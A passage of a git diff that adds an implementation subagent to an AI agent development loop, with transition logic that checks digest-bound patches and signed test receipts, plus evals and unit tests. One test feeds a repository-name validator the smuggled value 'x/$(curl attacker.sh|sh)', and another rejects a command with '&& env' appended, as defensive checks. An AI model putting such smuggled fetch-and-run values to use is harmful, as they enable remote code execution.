#44-#46 and #49-#51 implement additional sibling subagents under this orchestration contract. 3. Accept this ADR only after maintainer review of issue #47. diff --git a/docs/architecture.md b/docs/architecture.md index 9dac964..17c887c 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -185,7 +185,10 @@ Stage subagents are tracked as backlog items, one per loop stage that still lack 1. Research loop skeleton, research planner, researcher, and research author agents — the `spike` plus `agent-ready` research loop, run in parallel to the development loop. 2. Test-writer subagent — test-writing stage, red test evidence plus a reusable automated test plan, explicit seed data, and a bounded test-only patch. -3. Implementation subagent — development stage, patch artifact. +3. Implementation subagent — development stage, digest-bound production patch + plus signed focused and aggregate green evidence. It reuses the exact + test-writing patch and fixtures, while the root owns persistence and the + transition to validation. 4. Validation review subagent — code review stage, code review notes and UI screenshot evidence. 5. PR preparation subagent — PR stage, PR intent content including screenshots. 6. Release notes subagent — done stage, completion summary. diff --git a/evals/implementation/fixtures/issue-48.json b/evals/implementation/fixtures/issue-48.json new file mode 100644 index 0000000..157c062 --- /dev/null +++ b/evals/implementation/fixtures/issue-48.json @@ -0,0 +1,11 @@ +{ + "repositoryFullName": "ncolesummers/loopworks", + "issueNumber": 48, + "title": "Implementation subagent for the development loop", + "commitSha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "acceptanceCriteria": [ + "The exact hashed test patch turns green with a scoped production patch.", + "Test-writing fixtures and seed data are reused unchanged.", + "Future model, prompt, and tool changes have eval coverage." + ] +} diff --git a/evals/implementation/issue-48-green.eval.ts b/evals/implementation/issue-48-green.eval.ts new file mode 100644 index 0000000..2f3e72a --- /dev/null +++ b/evals/implementation/issue-48-green.eval.ts @@ -0,0 +1,69 @@ +import { readFile } from "node:fs/promises"; +import { join } from "node:path"; + +import { implementationResultSchema } from "@agent/implementation-agent"; +import { defineEval } from "eve/evals"; +import { includes } from "eve/evals/expect"; + +type ImplementationFixture = { + acceptanceCriteria: string[]; + commitSha: string; + issueNumber: number; + repositoryFullName: string; + title: string; +}; + +export const implementationEvalTimeoutMs = 180_000; + +export function parseImplementationSubagentOutput(output: unknown): unknown | undefined { + if (typeof output !== "string") return undefined; + try { + return JSON.parse(output); + } catch { + return undefined; + } +} + +export function resolveImplementationFixturePath(appRoot = process.cwd()): string { + return join(appRoot, "evals", "implementation", "fixtures", "issue-48.json"); +} + +export async function readImplementationFixture( + appRoot = process.cwd(), +): Promise { + return JSON.parse(await readFile(resolveImplementationFixturePath(appRoot), "utf8")); +} + +export default defineEval({ + description: + "The root delegates issue #48 to implementer and persists a digest-bound green implementation result.", + tags: ["implementation", "issue-48"], + timeoutMs: implementationEvalTimeoutMs, + async test(t) { + const fixture = await readImplementationFixture(); + await t.send( + [ + "Process durable run 00000000-0000-4000-8000-000000000048.", + "Read durable state, delegate development only to implementer, and persist through the control plane.", + `Repository: ${fixture.repositoryFullName}`, + `Commit: ${fixture.commitSha}`, + `Issue: #${fixture.issueNumber} ${fixture.title}`, + "Acceptance criteria:", + ...fixture.acceptanceCriteria.map((criterion, index) => `ac-${index + 1}: ${criterion}`), + "Use explicit implementer fixture mode and emit the typed implementation result only.", + ].join("\n"), + ); + + t.succeeded(); + t.noFailedActions(); + t.calledTool("read_run_stage_context"); + t.calledSubagent("implementer", { + output: (output: unknown) => + implementationResultSchema.safeParse(parseImplementationSubagentOutput(output)).success, + }); + t.calledTool("apply_implementation_result"); + t.check(JSON.stringify(t.events), includes("loopworks.implementation_result.v1")); + t.notCalledTool("write_file"); + t.notCalledTool("bash"); + }, +}); diff --git a/src/lib/loops/development-run-transitions.ts b/src/lib/loops/development-run-transitions.ts index a319cad..c72d77c 100644 --- a/src/lib/loops/development-run-transitions.ts +++ b/src/lib/loops/development-run-transitions.ts @@ -5,9 +5,18 @@ import { pinnedPlanningAgentOutputSchema, planningAgentOutputSchema, } from "@agent/planning-agent"; +import { + computeImplementationDigest, + type ImplementationResult, + implementationResultSchema, +} from "@agent/implementation-agent"; +import { verifyImplementationExecutionReceipt } from "@agent/subagents/implementer/lib/tool-policy"; import { verifyTestExecutionReceipt } from "@agent/subagents/test-writer/lib/tool-policy"; import { computeTestPlanDigest, + redTestEvidenceSchema, + testPlanArtifactSchema, + testWriterModelLabel, type TestWritingAgentOutput, testWritingAgentOutputSchema, } from "@agent/test-writing-agent"; @@ -76,6 +85,24 @@ export type ApplyDevelopmentLoopTestWritingResultInput = { runId: string; }; +export type ImplementationTransitionResult = { + idempotent?: boolean; + runId: string; + stage: "development"; + status: "advanced"; + stepId: string; + traceId?: string; +}; + +export type ApplyDevelopmentLoopImplementationResultInput = { + database: DevelopmentLoopTransitionDatabase; + logger?: LoopworksLogger; + occurredAt?: Date; + output: ImplementationResult; + receiptSecret?: string; + runId: string; +}; + export type RecordDevelopmentLoopPlanArtifactInput = { database: DevelopmentLoopTransitionDatabase; occurredAt?: Date; @@ -535,6 +562,307 @@ export async function applyDevelopmentLoopTestWritingResult( } } +export async function applyDevelopmentLoopImplementationResult( + input: ApplyDevelopmentLoopImplementationResultInput, +): Promise { + const occurredAt = input.occurredAt ?? new Date(); + const startedAt = Date.now(); + const output = implementationResultSchema.parse(input.output); + const span = startLoopworksSpan("loopworks.implementation.transition", { + attributes: { + "loopworks.agent": "implementer", + "loopworks.run_id": input.runId, + "loopworks.stage": "development", + "loopworks.test_count": output.greenEvidence.length, + }, + }); + + try { + const result = await input.database.transaction(async (tx) => { + const [run] = await tx.select().from(loopRuns).where(eq(loopRuns.id, input.runId)).limit(1); + if (!run) throw new DevelopmentLoopTransitionError(`Run ${input.runId} was not found.`); + + const steps = await tx.select().from(runSteps).where(eq(runSteps.runId, input.runId)); + const step = steps.find(({ stage }) => stage === "development"); + const testWritingStep = steps.find(({ stage }) => stage === "test-writing"); + if (!step || !testWritingStep) { + throw new DevelopmentLoopTransitionError( + "Implementation requires development and test-writing steps.", + ); + } + if (step.status === "succeeded" && step.completedAt) { + const [persistedArtifact] = await tx + .select() + .from(artifacts) + .where( + and( + eq(artifacts.runId, input.runId), + eq(artifacts.stepId, step.id), + eq(artifacts.type, "patch"), + ), + ); + if (persistedArtifact?.sha256 !== computeImplementationDigest(output)) { + throw new DevelopmentLoopTransitionError( + "Idempotent implementation replay does not match the persisted result.", + ); + } + return { + idempotent: true, + runId: input.runId, + stage: "development", + status: "advanced", + stepId: step.id, + ...((step.traceId ?? run.traceId) + ? { traceId: step.traceId ?? run.traceId ?? undefined } + : {}), + }; + } + if (run.currentStage !== "development" || testWritingStep.status !== "succeeded") { + throw new DevelopmentLoopTransitionError( + "Implementation requires completed test writing and the development stage.", + ); + } + + const planRows = await tx.select().from(agentPlans).where(eq(agentPlans.runId, input.runId)); + if (planRows.length !== 1) { + throw new DevelopmentLoopTransitionError("Implementation requires exactly one plan."); + } + const planRow = planRows[0]; + const plan = planningAgentOutputSchema.parse(planRow?.plan); + const planApprovals = await tx + .select() + .from(approvals) + .where(and(eq(approvals.runId, input.runId), eq(approvals.scope, "plan-review"))); + const approval = planApprovals[0]; + if ( + planRow?.status !== "approved" || + planApprovals.length !== 1 || + approval?.status !== "approved" || + approval.metadata?.planId !== planRow.id || + approval.metadata?.planSha256 !== plan.identity.sha256 || + !plan.repositoryRevision || + computePlanningArtifactDigest(plan) !== plan.identity.sha256 + ) { + throw new DevelopmentLoopTransitionError("Implementation plan identity is invalid."); + } + + const upstreamArtifacts = await tx + .select() + .from(artifacts) + .where(and(eq(artifacts.runId, input.runId), eq(artifacts.stepId, testWritingStep.id))); + const testPlanRows = upstreamArtifacts.filter(({ type }) => type === "test_plan"); + const redRows = upstreamArtifacts.filter(({ type }) => type === "validation_report"); + if (testPlanRows.length !== 1 || redRows.length !== 1) { + throw new DevelopmentLoopTransitionError( + "Implementation requires exactly one test plan and red-evidence artifact.", + ); + } + const testPlanRow = testPlanRows[0]; + const redRow = redRows[0]; + const testPlanParsed = testPlanArtifactSchema.safeParse(testPlanRow?.metadata?.testPlan); + const redParsed = redTestEvidenceSchema.safeParse(redRow?.metadata?.redTestEvidence); + if (!testPlanRow || !redRow || !testPlanParsed.success || !redParsed.success) { + throw new DevelopmentLoopTransitionError( + "Implementation requires valid persisted test-plan and red-evidence artifacts.", + ); + } + const testPlan = testPlanParsed.data; + const redEvidence = redParsed.data; + const compositeHandoff = testWritingAgentOutputSchema.safeParse({ + model: testWriterModelLabel, + testPlan, + redEvidence, + }); + if (!compositeHandoff.success) { + throw new DevelopmentLoopTransitionError( + "Persisted red evidence does not match the persisted test plan.", + ); + } + const testPlanSha256 = computeTestPlanDigest(testPlan); + if ( + testPlanRow.sha256 !== testPlanSha256 || + redRow.sha256 !== computeTestPlanDigest(redEvidence) || + redEvidence.testPlanSha256 !== testPlanSha256 || + redEvidence.planId !== plan.identity.id || + redEvidence.planSha256 !== plan.identity.sha256 || + testPlan.plan.id !== plan.identity.id || + testPlan.plan.sha256 !== plan.identity.sha256 || + testPlan.plan.repositoryFullName !== plan.issue.repositoryFullName || + testPlan.plan.commitSha !== plan.repositoryRevision.commitSha + ) { + throw new DevelopmentLoopTransitionError("Implementation input artifacts are stale."); + } + + const expectedBinding = { + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256, + testPatchSha256: testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(testPlan.fixtures), + repositoryFullName: plan.issue.repositoryFullName, + commitSha: plan.repositoryRevision.commitSha, + }; + if (JSON.stringify(output.binding) !== JSON.stringify(expectedBinding)) { + throw new DevelopmentLoopTransitionError( + "Implementation result is not bound to the persisted handoff.", + ); + } + if (output.greenEvidence.length !== testPlan.tests.length) { + throw new DevelopmentLoopTransitionError( + "Implementation requires one green result for every planned test.", + ); + } + + const receiptSecret = input.receiptSecret ?? process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET; + if (!receiptSecret) { + throw new DevelopmentLoopTransitionError( + "Implementation execution receipt verification is not configured.", + ); + } + for (const plannedTest of testPlan.tests) { + const evidence = output.greenEvidence.find(({ testId }) => testId === plannedTest.id); + if ( + !evidence || + evidence.command !== plannedTest.command || + evidence.testPath !== plannedTest.path || + JSON.stringify(evidence.acceptanceCriterionIds) !== + JSON.stringify(plannedTest.acceptanceCriterionIds) || + !verifyImplementationExecutionReceipt( + { + kind: "focused", + command: evidence.command, + exitCode: evidence.exitCode, + outcome: evidence.outcome, + outputSha256: evidence.outputReference.sha256, + planSha256: output.binding.planSha256, + testPlanSha256: output.binding.testPlanSha256, + testPatchSha256: output.binding.testPatchSha256, + productionPatchSha256: output.patch.sha256, + testPaths: [evidence.testPath], + }, + evidence.executionReceipt, + receiptSecret, + ) + ) { + throw new DevelopmentLoopTransitionError( + `Invalid green implementation evidence for ${plannedTest.id}.`, + ); + } + } + const validation = output.validationEvidence; + if ( + !verifyImplementationExecutionReceipt( + { + kind: "aggregate", + command: validation.command, + exitCode: validation.exitCode, + outcome: validation.outcome, + outputSha256: validation.outputReference.sha256, + planSha256: output.binding.planSha256, + testPlanSha256: output.binding.testPlanSha256, + testPatchSha256: output.binding.testPatchSha256, + productionPatchSha256: output.patch.sha256, + testPaths: [], + }, + validation.executionReceipt, + receiptSecret, + ) + ) { + throw new DevelopmentLoopTransitionError("Aggregate validation receipt is invalid."); + } + + const claimId = randomUUID(); + const [claimedStep] = await tx + .update(runSteps) + .set({ metadata: { ...(step.metadata ?? {}), implementationClaim: claimId } }) + .where( + and( + eq(runSteps.id, step.id), + sql`not coalesce(${runSteps.metadata} ? 'implementationClaim', false)`, + ), + ) + .returning({ id: runSteps.id }); + if (!claimedStep) { + throw new DevelopmentLoopTransitionError( + `Implementation transition is already in progress for run ${input.runId}.`, + ); + } + + const [patchArtifact] = await tx + .select() + .from(artifacts) + .where( + and( + eq(artifacts.runId, input.runId), + eq(artifacts.stepId, step.id), + eq(artifacts.type, "patch"), + ), + ); + if (!patchArtifact) { + throw new DevelopmentLoopTransitionError("Development patch artifact is missing."); + } + await tx + .update(artifacts) + .set({ + metadata: { + implementationMetadataKind: "implementation_result", + implementationResult: output, + implementationResultSchemaId: output.schemaId, + implementationVersion: output.version, + }, + sha256: computeImplementationDigest(output), + }) + .where(eq(artifacts.id, patchArtifact.id)); + await tx + .update(runSteps) + .set({ + completedAt: occurredAt, + startedAt: step.startedAt ?? occurredAt, + status: "succeeded", + validationStatus: "green", + }) + .where(eq(runSteps.id, step.id)); + await tx + .update(loopRuns) + .set({ currentStage: "validation", status: "running" }) + .where(eq(loopRuns.id, input.runId)); + + input.logger?.info( + { + durationMs: Math.max(0, Date.now() - startedAt), + outcome: "advanced", + patchSha256: output.patch.sha256, + runId: input.runId, + stepId: step.id, + testCount: output.greenEvidence.length, + }, + "implementation_stage_advanced", + ); + + return { + runId: input.runId, + stage: "development", + status: "advanced", + stepId: step.id, + ...((step.traceId ?? run.traceId) + ? { traceId: step.traceId ?? run.traceId ?? undefined } + : {}), + }; + }); + span.setAttributes({ + "loopworks.duration_ms": Math.max(0, Date.now() - startedAt), + "loopworks.outcome": "advanced", + }); + markLoopworksSpanOk(span); + return result; + } catch (error) { + markLoopworksSpanError(span, error); + throw error; + } finally { + span.end(); + } +} + function durationSecondsBetween(startedAt: Date, completedAt: Date): number { return Math.max(0, (completedAt.getTime() - startedAt.getTime()) / 1000); } diff --git a/src/lib/loops/development-run.ts b/src/lib/loops/development-run.ts index e5a2b2e..2f47b43 100644 --- a/src/lib/loops/development-run.ts +++ b/src/lib/loops/development-run.ts @@ -1,4 +1,5 @@ import { randomUUID } from "node:crypto"; +import { createImplementationArtifactContractMetadata } from "@agent/implementation-agent"; import { createPlanningAgentSeedPlan } from "@agent/planning-agent"; import { createRedTestEvidenceArtifactContractMetadata, @@ -87,7 +88,7 @@ export const developmentLoopStages = [ validationStatus: "red", }, { - actorId: "eve-builder-agent", + actorId: "implementer", actorType: "agent", artifacts: [{ label: "Patch artifact", required: true, type: "patch" }], key: "development", @@ -468,6 +469,7 @@ export async function createDevelopmentLoopRun(input: { ? createRedTestEvidenceArtifactContractMetadata() : {}), ...(artifact.type === "test_plan" ? createTestPlanArtifactContractMetadata() : {}), + ...(artifact.type === "patch" ? createImplementationArtifactContractMetadata() : {}), ...(artifact.type === "pr_intent" ? createPrIntentArtifactContractMetadata() : {}), }, runId, diff --git a/tests/unit/agent/implementation-agent.test.ts b/tests/unit/agent/implementation-agent.test.ts new file mode 100644 index 0000000..f0a66df --- /dev/null +++ b/tests/unit/agent/implementation-agent.test.ts @@ -0,0 +1,115 @@ +/** @vitest-environment node */ +import { createHash } from "node:crypto"; + +import { + computeImplementationDigest, + implementationAgentModelLabel, + implementationResultSchema, + implementationResultSchemaId, + isAllowedProductionArtifactPath, +} from "@agent/implementation-agent"; + +const sha256 = (value: string) => createHash("sha256").update(value).digest("hex"); + +const productionPatch = [ + "diff --git a/src/example.ts b/src/example.ts", + "--- a/src/example.ts", + "+++ b/src/example.ts", + "@@ -1 +1 @@", + "-export const ready = false;", + "+export const ready = true;", +].join("\n"); + +function validResult() { + return { + version: 1 as const, + schemaId: implementationResultSchemaId, + model: implementationAgentModelLabel, + binding: { + planId: "plan-48", + planSha256: "a".repeat(64), + testPlanSha256: "b".repeat(64), + testPatchSha256: "c".repeat(64), + fixturesSha256: "d".repeat(64), + repositoryFullName: "ncolesummers/loopworks", + commitSha: "e".repeat(40), + }, + patch: { + format: "unified-diff" as const, + content: productionPatch, + sha256: sha256(productionPatch), + byteCount: Buffer.byteLength(productionPatch), + paths: ["src/example.ts"], + }, + greenEvidence: [ + { + id: "green-ac-1", + testId: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + command: "bun run test -- tests/unit/example.test.ts", + testPath: "tests/unit/example.test.ts", + outcome: "pass" as const, + exitCode: 0 as const, + durationMs: 10, + executionReceipt: "f".repeat(64), + outputReference: { + uri: "artifact://sandbox/green.log", + sha256: "1".repeat(64), + byteCount: 12, + redacted: true as const, + }, + }, + ], + validationEvidence: { + command: "bun run validate" as const, + outcome: "pass" as const, + exitCode: 0 as const, + durationMs: 20, + executionReceipt: "2".repeat(64), + outputReference: { + uri: "artifact://sandbox/validate.log", + sha256: "3".repeat(64), + byteCount: 15, + redacted: true as const, + }, + }, + }; +} + +describe("implementation result contract", () => { + it("accepts a digest-bound production patch with focused and aggregate green evidence", () => { + expect(implementationResultSchema.parse(validResult())).toMatchObject({ + schemaId: "loopworks.implementation_result.v1", + model: "openai/gpt-5.6-terra-xhigh", + validationEvidence: { command: "bun run validate", outcome: "pass" }, + }); + expect(computeImplementationDigest(validResult())).toMatch(/^[a-f0-9]{64}$/); + }); + + it("rejects test artifacts, unsafe patch operations, and digest mismatches", () => { + expect(isAllowedProductionArtifactPath("src/lib/runtime.ts")).toBe(true); + expect(isAllowedProductionArtifactPath("tests/unit/runtime.test.ts")).toBe(false); + expect(isAllowedProductionArtifactPath("src/lib/runtime.test.ts")).toBe(false); + expect(isAllowedProductionArtifactPath("../src/lib/runtime.ts")).toBe(false); + + const unsafe = validResult(); + unsafe.patch.content = `${unsafe.patch.content}\nrename from src/example.ts`; + unsafe.patch.byteCount = Buffer.byteLength(unsafe.patch.content); + unsafe.patch.sha256 = sha256(unsafe.patch.content); + expect(implementationResultSchema.safeParse(unsafe).success).toBe(false); + + const badDigest = validResult(); + badDigest.patch.sha256 = "0".repeat(64); + expect(implementationResultSchema.safeParse(badDigest).success).toBe(false); + }); + + it("rejects duplicate or incomplete green evidence", () => { + const duplicate = validResult(); + duplicate.greenEvidence.push({ ...duplicate.greenEvidence[0] }); + expect(implementationResultSchema.safeParse(duplicate).success).toBe(false); + + const empty = validResult(); + empty.greenEvidence = []; + expect(implementationResultSchema.safeParse(empty).success).toBe(false); + }); +}); diff --git a/tests/unit/agent/implementation-discovery.test.ts b/tests/unit/agent/implementation-discovery.test.ts new file mode 100644 index 0000000..3d904ec --- /dev/null +++ b/tests/unit/agent/implementation-discovery.test.ts @@ -0,0 +1,47 @@ +/** @vitest-environment node */ +import { readdir, readFile } from "node:fs/promises"; +import { join } from "node:path"; + +import { developmentLoopStages } from "@/lib/loops/development-run"; + +describe("implementation subagent discovery", () => { + it("declares implementer as the development-stage sibling", async () => { + const root = process.cwd(); + const [subagents, rootTools, rootInstructions] = await Promise.all([ + readdir(join(root, "agent", "subagents")), + readdir(join(root, "agent", "tools")), + readFile(join(root, "agent", "instructions.md"), "utf8"), + ]); + + expect(subagents).toContain("implementer"); + expect(rootTools).toContain("apply_implementation_result.ts"); + expect(rootInstructions).toContain("development belongs to `implementer`"); + expect(developmentLoopStages.find((stage) => stage.key === "development")).toMatchObject({ + actorId: "implementer", + artifacts: [{ label: "Patch artifact", required: true, type: "patch" }], + }); + }); + + it("provides a discoverable issue #48 eval and narrow implementer tools", async () => { + const root = process.cwd(); + const [tools, evalSource, rootContextSource] = await Promise.all([ + readdir(join(root, "agent", "subagents", "implementer", "tools")), + readFile(join(root, "evals", "implementation", "issue-48-green.eval.ts"), "utf8"), + readFile(join(root, "agent", "tools", "read_run_stage_context.ts"), "utf8"), + ]); + expect(tools).toEqual( + expect.arrayContaining([ + "read_implementation_context.ts", + "apply_exact_test_patch.ts", + "write_production_files.ts", + "run_green_test_suite.ts", + "run_aggregate_validation.ts", + "emit_implementation_result.ts", + ]), + ); + expect(evalSource).toContain('calledSubagent("implementer"'); + expect(evalSource).toContain('calledTool("apply_implementation_result"'); + expect(rootContextSource).toContain("resolveImplementerFixtureMode().enabled"); + expect(rootContextSource).toContain('currentStage: "development"'); + }); +}); diff --git a/tests/unit/agent/implementation-eval.test.ts b/tests/unit/agent/implementation-eval.test.ts new file mode 100644 index 0000000..3bef093 --- /dev/null +++ b/tests/unit/agent/implementation-eval.test.ts @@ -0,0 +1,31 @@ +/** @vitest-environment node */ +import { + implementationEvalTimeoutMs, + parseImplementationSubagentOutput, + readImplementationFixture, + resolveImplementationFixturePath, +} from "../../../evals/implementation/issue-48-green.eval"; + +describe("implementation Eve eval fixture", () => { + it("discovers the pinned issue #48 fixture without a live model call", async () => { + expect( + resolveImplementationFixturePath().endsWith("evals/implementation/fixtures/issue-48.json"), + ).toBe(true); + await expect(readImplementationFixture()).resolves.toMatchObject({ + issueNumber: 48, + repositoryFullName: "ncolesummers/loopworks", + acceptanceCriteria: expect.arrayContaining([ + expect.stringContaining("exact hashed test patch"), + expect.stringContaining("fixtures and seed data are reused"), + ]), + }); + expect(implementationEvalTimeoutMs).toBeGreaterThanOrEqual(180_000); + }); + + it("decodes the JSON-string output shape emitted by subagent.completed", () => { + const result = { schemaId: "loopworks.implementation_result.v1", version: 1 }; + + expect(parseImplementationSubagentOutput(JSON.stringify(result))).toEqual(result); + expect(parseImplementationSubagentOutput("not json")).toBeUndefined(); + }); +}); diff --git a/tests/unit/agent/implementation-tools.test.ts b/tests/unit/agent/implementation-tools.test.ts new file mode 100644 index 0000000..5b411a2 --- /dev/null +++ b/tests/unit/agent/implementation-tools.test.ts @@ -0,0 +1,189 @@ +/** @vitest-environment node */ +import { resolveImplementerFixtureMode } from "@agent/subagents/implementer/lib/fixture-mode"; +import { createImplementationFixtureHandoff } from "@agent/implementation-fixture"; +import { + assertAllowedProductionFiles, + assertProductionWriteNotClaimed, + assertExactFocusedCommand, + assertWellFormedRepositoryFullName, + classifyGreenRun, + createImplementationExecutionReceipt, + parseWorkingTreePaths, + redactImplementationOutput, + sandboxWorkingTreeStatusCommand, + verifyImplementationExecutionReceipt, +} from "@agent/subagents/implementer/lib/tool-policy"; + +describe("implementer fixture mode", () => { + it("is explicit, local-only, and fail-closed in production", () => { + expect(resolveImplementerFixtureMode({})).toEqual({ enabled: false, reason: "not_requested" }); + expect( + resolveImplementerFixtureMode({ + LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE: "true", + NODE_ENV: "development", + }), + ).toEqual({ enabled: true, reason: "explicit_non_production_fixture" }); + expect( + resolveImplementerFixtureMode({ + LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE: "true", + VERCEL_ENV: "production", + }), + ).toEqual({ enabled: false, reason: "production_runtime_blocked" }); + }); +}); + +describe("implementer write and execution policy", () => { + it("allows production files while rejecting test, generated, and traversal paths", () => { + expect(() => assertAllowedProductionFiles([{ path: "src/lib/runtime.ts" }])).not.toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "tests/unit/runtime.test.ts" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "../src/runtime.ts" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "node_modules/pkg/index.js" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "package.json" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "bun.lock" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: ".github/workflows/ci.yml" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: ".env.local" }])).toThrow(); + }); + + it("allows production files named after fixtures while rejecting test directories", () => { + expect(() => + assertAllowedProductionFiles([{ path: "agent/subagents/implementer/lib/fixture-mode.ts" }]), + ).not.toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "tests/fixtures/data.ts" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "src/lib/runtime.test.ts" }])).toThrow(); + }); + + it("rejects repository names that could smuggle shell syntax into the checkout", () => { + expect(() => assertWellFormedRepositoryFullName("ncolesummers/loopworks")).not.toThrow(); + expect(() => assertWellFormedRepositoryFullName("x/$(curl attacker.sh|sh)")).toThrow(); + expect(() => assertWellFormedRepositoryFullName("owner/repo/extra")).toThrow(); + expect(() => assertWellFormedRepositoryFullName("owner")).toThrow(); + }); + + it("sees untracked files when verifying the sandbox working tree", () => { + expect(sandboxWorkingTreeStatusCommand).toContain("git status --porcelain"); + // Without --untracked-files=all, new directories collapse to "?? dir/" and + // hide the files inside them from path verification. + expect(sandboxWorkingTreeStatusCommand).toContain("--untracked-files=all"); + expect( + parseWorkingTreePaths("?? tests/unit/red.test.ts\n M src/app.ts\n D src/old.ts\n"), + ).toEqual(["src/app.ts", "src/old.ts", "tests/unit/red.test.ts"]); + expect(parseWorkingTreePaths(' M "tests/unit/sp ace.test.ts"\n')).toEqual([ + "tests/unit/sp ace.test.ts", + ]); + expect(parseWorkingTreePaths("")).toEqual([]); + }); + + it("classifies green runs by exit code and pass evidence, not incidental words", () => { + expect( + classifyGreenRun({ + exitCode: 0, + output: "✓ tests/unit/timeout.test.ts > handles request timeout\nTests 1 passed (1)", + testPath: "tests/unit/timeout.test.ts", + }), + ).toBe("pass"); + expect( + classifyGreenRun({ + exitCode: 0, + output: "tests/unit/runtime.test.ts", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("invalid"); + expect( + classifyGreenRun({ + exitCode: 1, + output: "Tests 1 passed (1) tests/unit/runtime.test.ts", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("invalid"); + }); + + it("permits exactly one production write per implementation session", () => { + expect(() => assertProductionWriteNotClaimed(null)).not.toThrow(); + expect(() => assertProductionWriteNotClaimed("already-claimed")).toThrow( + "only once per implementation session", + ); + }); + + it("runs only the exact planned focused command and classifies real green output", () => { + expect(() => + assertExactFocusedCommand( + "bun run test -- tests/unit/runtime.test.ts", + "bun run test -- tests/unit/runtime.test.ts", + "tests/unit/runtime.test.ts", + ), + ).not.toThrow(); + expect(() => + assertExactFocusedCommand( + "bun run test -- tests/unit/runtime.test.ts && env", + "bun run test -- tests/unit/runtime.test.ts", + "tests/unit/runtime.test.ts", + ), + ).toThrow(); + expect( + classifyGreenRun({ + exitCode: 0, + output: "PASS tests/unit/runtime.test.ts", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("pass"); + expect( + classifyGreenRun({ + exitCode: 0, + output: "No test files found", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("invalid"); + }); + + it("redacts output and signs every artifact digest into the execution receipt", () => { + const payload = { + kind: "focused" as const, + command: "bun run test -- tests/unit/runtime.test.ts", + exitCode: 0, + outcome: "pass" as const, + outputSha256: "a".repeat(64), + planSha256: "b".repeat(64), + testPlanSha256: "c".repeat(64), + testPatchSha256: "d".repeat(64), + productionPatchSha256: "e".repeat(64), + testPaths: ["tests/unit/runtime.test.ts"], + }; + const receipt = createImplementationExecutionReceipt(payload, "secret"); + expect(verifyImplementationExecutionReceipt(payload, receipt, "secret")).toBe(true); + expect( + verifyImplementationExecutionReceipt( + { ...payload, productionPatchSha256: "f".repeat(64) }, + receipt, + "secret", + ), + ).toBe(false); + + const redacted = redactImplementationOutput( + [ + "authorization: Bearer abc API_TOKEN=secret ghp_abcdefghijklmnopqrstuvwxyz", + "AKIAABCDEFGHIJKLMNOP", + "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMifQ.signature", + "-----BEGIN PRIVATE KEY-----\nprivate-material\n-----END PRIVATE KEY-----", + ].join("\n"), + ); + expect(redacted).not.toContain("abc"); + expect(redacted).not.toContain("secret"); + expect(redacted).not.toContain("ghp_"); + expect(redacted).not.toContain("AKIA"); + expect(redacted).not.toContain("eyJhbGci"); + expect(redacted).not.toContain("private-material"); + }); + + it("reuses the test-writing fixture records as the implementation handoff", () => { + const handoff = createImplementationFixtureHandoff(); + expect(handoff.testPlan.fixtures).toEqual([ + { + id: "approved-plan", + kind: "fixture", + description: "Approved-plan fixture authored by the test-writing stage.", + data: { approved: true }, + }, + ]); + expect(handoff.testPlan.tests[0]?.fixtureIds).toEqual(["approved-plan"]); + }); +}); diff --git a/tests/unit/loops/implementation-transition.test.ts b/tests/unit/loops/implementation-transition.test.ts new file mode 100644 index 0000000..ffbe998 --- /dev/null +++ b/tests/unit/loops/implementation-transition.test.ts @@ -0,0 +1,471 @@ +/** @vitest-environment node */ +import { createHash, randomUUID } from "node:crypto"; + +import { + computeImplementationDigest, + implementationAgentModelLabel, + type ImplementationResult, + implementationResultSchemaId, +} from "@agent/implementation-agent"; +import { createImplementationExecutionReceipt } from "@agent/subagents/implementer/lib/tool-policy"; +import { + computeTestPlanDigest, + redTestEvidenceSchemaId, + testPlanSchemaId, +} from "@agent/test-writing-agent"; +import { and, eq } from "drizzle-orm"; + +import { agentPlans, approvals, artifacts, loopRuns, repositories, runSteps } from "@/db/schema"; +import { applyApprovalTransition } from "@/lib/approval-transitions"; +import type { ApprovalTransitionDatabase } from "@/lib/approvals"; +import { + createDevelopmentLoopRun, + type DevelopmentLoopRunDatabase, +} from "@/lib/loops/development-run"; +import { + applyDevelopmentLoopImplementationResult, + type DevelopmentLoopTransitionDatabase, +} from "@/lib/loops/development-run-transitions"; +import { createPgliteTestDatabase, type PgliteTestDatabase } from "../../helpers/pglite"; + +const sha256 = (value: string) => createHash("sha256").update(value).digest("hex"); + +describe("implementation stage transition", () => { + let context: PgliteTestDatabase; + + beforeEach(async () => { + context = await createPgliteTestDatabase(); + await context.db.insert(repositories).values({ + githubRepoId: 48_000_002, + owner: "ncolesummers", + name: "loopworks", + fullName: "ncolesummers/loopworks", + enabledLoops: ["Agent-ready development loop"], + validationGates: ["Focused tests", "bun run validate"], + }); + }); + + afterEach(async () => context.close()); + + async function prepare() { + const created = await createDevelopmentLoopRun({ + database: context.db as unknown as DevelopmentLoopRunDatabase, + trigger: { + body: "## Acceptance Criteria\n- Implementation makes the red test green.", + issueNumber: 48, + repositoryFullName: "ncolesummers/loopworks", + repositoryRevision: { ref: "main", commitSha: "a".repeat(40) }, + title: "Implementation subagent", + }, + }); + if (created.mode !== "created") throw new Error("Expected created run."); + const [approval] = await context.db + .select() + .from(approvals) + .where(eq(approvals.runId, created.runId)); + if (!approval) throw new Error("Expected plan approval."); + await applyApprovalTransition({ + action: "approve", + actorId: "maintainer", + approvalId: approval.id, + database: context.db as unknown as ApprovalTransitionDatabase, + expectedStatus: "requested", + }); + const [planRow] = await 